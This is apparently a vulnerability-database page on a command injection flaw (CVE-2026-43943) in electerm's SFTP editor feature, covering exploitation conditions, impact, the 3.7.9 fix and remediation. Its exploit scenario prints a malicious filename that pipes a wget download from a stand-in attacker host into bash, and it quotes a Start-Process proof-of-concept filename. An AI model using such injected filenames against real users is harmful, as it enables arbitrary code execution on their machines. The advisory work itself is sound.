Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessConnect to attacker-controlled SFTP server
-
DeliveryBrowse directory containing malicious filename
-
ExploitSelect 'Edit with system editor'
-
ExecutionUnsanitized filename passed to shell command
-
PersistInjected commands execute with user privileges
-
ImpactArbitrary code execution achieved
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to use electerm's SFTP client to connect to a server where the attacker can control filenames (either a malicious/compromised SSH server, or a legitimate server where the attacker has file creation privileges), AND the victim must explicitly invoke the 'open with system editor' or 'Edit with custom editor' feature on a file with a maliciously crafted filename containing shell metacharacters. The vulnerability does not trigger on mere file viewing, downloading, or listing - only when the user initiates an edit action that invokes the vulnerable openFile() function. Additionally, the attacker must craft platform-specific payloads (PowerShell syntax for Windows, bash syntax for Unix-like systems). Exploitation is limited by the victim's user privileges (not privilege escalation) and requires active user participation in the file editing workflow. |
| Impact | CVSS 7.8 (High) reflects local attack vector requiring user interaction but no authentication, with full system compromise potential (C:H/I:H/A:H). However, real-world risk depends heavily on deployment context. The vulnerability requires either: (1) attacker control of the SSH/SFTP server the victim connects to, allowing malicious filename creation, or (2) prior compromise of the victim's OS to create weaponized files locally. Attack complexity is low (AC:L) once prerequisites are met, but the attack requires the victim to explicitly choose 'Edit with system editor' on the malicious file (UI:R), reducing likelihood of mass exploitation. No EPSS score available and absence from CISA KEV suggests limited active exploitation, likely because the attack requires specific victim interaction and pre-positioning. The GitHub security advisory and working unit test POC (filename: "poc';Start-Process calc;#.txt") confirm exploitability. This is a legitimate supply chain risk for environments where users routinely edit untrusted SFTP files, but lower priority than network-based RCE vulnerabilities. Scope is unchanged (S:U), limiting impact to the electerm process context. |
| Exploit ScenarioDerived | An attacker operates a compromised SSH server or gains write access to an SFTP share the victim accesses. The attacker creates a file named "report.txt';wget http://attacker.com/malware.sh|bash;#" on the server. When the victim connects via electerm and browses the SFTP directory, they see what appears to be a legitimate file. Upon selecting 'Edit with system editor' or configuring a custom editor, electerm constructs a shell command embedding the unsanitized filename, executing the injected wget command to download and run attacker-controlled malware with the victim's user privileges. Unit test POC demonstrates Windows exploitation with calc.exe execution via "poc';Start-Process calc;#.txt". |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 08, 2026
Command injection in electerm's SFTP file editor feature allows arbitrary code execution when users edit files with maliciously crafted filenames. The vulnerability affects versions prior to 3.7.9 and can be exploited by attackers controlling SSH servers or the victim's operating system to inject shell metacharacters into filenames. When victims attempt to edit these files using 'open with system editor' or custom editor features, unsanitized filenames are passed directly to command execution functions, triggering injected commands with user privileges. GitHub security advisory GHSA-q4p8-8j9m-8hxj confirms the vulnerability, with exploit code demonstrable through the proof-of-concept filename in unit tests. EPSS data not available, not listed in CISA KEV. Vendor-released patch available in version 3.7.9.
RemediationAI
Upgrade to electerm version 3.7.9 or later, released at https://github.com/electerm/electerm/releases/tag/v3.7.9. The fix (commit 24ce7103e264cffe6eb5476c0506a2379e6f8333) replaces shell-based command execution with spawn() using argument arrays and adds -LiteralPath on Windows to prevent filename interpretation as code. If immediate upgrade is not feasible, implement compensating controls: disable the 'open with system editor' and custom editor features in electerm settings, restrict SFTP connections to only trusted servers with verified file integrity controls, and enable application whitelisting/execution policies to prevent unauthorized command execution from user directories. Note that disabling editor integration eliminates core workflow functionality, making upgrade the only viable long-term solution. Organizations should audit SFTP server access logs for anomalous filename patterns containing shell metacharacters (semicolons, backticks, pipes, dollar signs) as potential exploitation indicators.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is a classic OS command injection vulnerability (CWE-78) in electerm, a cross-platform terminal emulator and SSH/SFTP client built on Electron. The flaw exists in src/app/lib/fs.js where the openFile function constructs shell commands by directly concatenating user-controlled filenames without sanitization. On Windows, filenames were embedded in PowerShell Invoke-Item commands via string interpolation. On macOS/Linux, filenames were passed to 'open' or 'xdg-open' commands through shell execution. The commit diff shows the fix replaces child_process.exec (which spawns a shell) with child_process.spawn using array-based argument passing, and on Windows adds -LiteralPath with $args[0] to treat filenames as literal data rather than executable code. The CPE cpe:2.3:a:electerm:electerm identifies this as affecting the core electerm application across all platforms.
Know when Electerm gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from Vendor (GitHub_M) · only source for this CVE.
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
electerm is an open-sourced terminal/ssh/sftp/telnet/serialport/RDP/VNC/Spice/ftp client. Prior to version 3.7.9, a code execution (RCE) vulnerability exists in electerm's SFTP open with system editor or "Edit with custom editor" feature. When a user opts to edit a file using open with system editor or open with a custom editor, the filename is passed directly into a command line without sanitization. A malicious actor controlling the SSH server or user OS can exploit this by crafting a filename containing shell metacharacters. If a victim subsequently attempts to edit this file, the injected commands are executed on their machine with the user's privileges. This could allow the attacker to run arbitrary code, install malware, or move laterally within the network. This issue has been patched in version 3.7.9.
Executive ViewAI
CVE-2026-43943 is a command injection vulnerability in electerm's SFTP file editor that allows attackers to execute arbitrary code when users edit files with malicious filenames. Organizations using electerm prior to version 3.7.9 face risk of unauthorized code execution at user privilege levels if employees interact with untrusted SSH servers or compromised systems. This directly impacts any team using electerm for remote file management and could enable lateral movement or data exfiltration.
Vendor-released patch: version 3.7.9. If immediate patching is not possible, restrict electerm access to trusted SSH servers only, disable 'open with system editor' features in electerm configuration, and monitor command execution logs for suspicious shell metacharacter sequences in filenames.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Related Vulnerabilities in electerm Remote Code Execution
View all 5Unintended internal method dispatch in electerm prior to v3.15.186 allows any authenticated WebSocket client to invoke a
Command injection in electerm prior to version 3.15.120 enables a malicious FTP or SFTP server operator to execute arbit
OS command injection in Electerm on Windows up to and including 5.8.0 lets a file or folder name carrying a typographic
Path traversal in electerm's RDP clipboard file transfer (prior to v3.15.120) lets a malicious RDP server write attacker
Path traversal in electerm's recursive file transfer component allows a malicious FTP or SFTP server to write attacker-c
Path traversal in electerm's SFTP client allows a malicious or man-in-the-middle SFTP server to write attacker-controlle
Electerm through 5.8.1 ships a built-in MCP Server widget that binds an Express HTTP listener to 127.0.0.1:30837 and, by
Arbitrary OS command execution in electerm before 5.3.15 is achievable through a completely unvalidated Electron IPC bri
EUVD-2026-28515
GHSA-q4p8-8j9m-8hxj
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB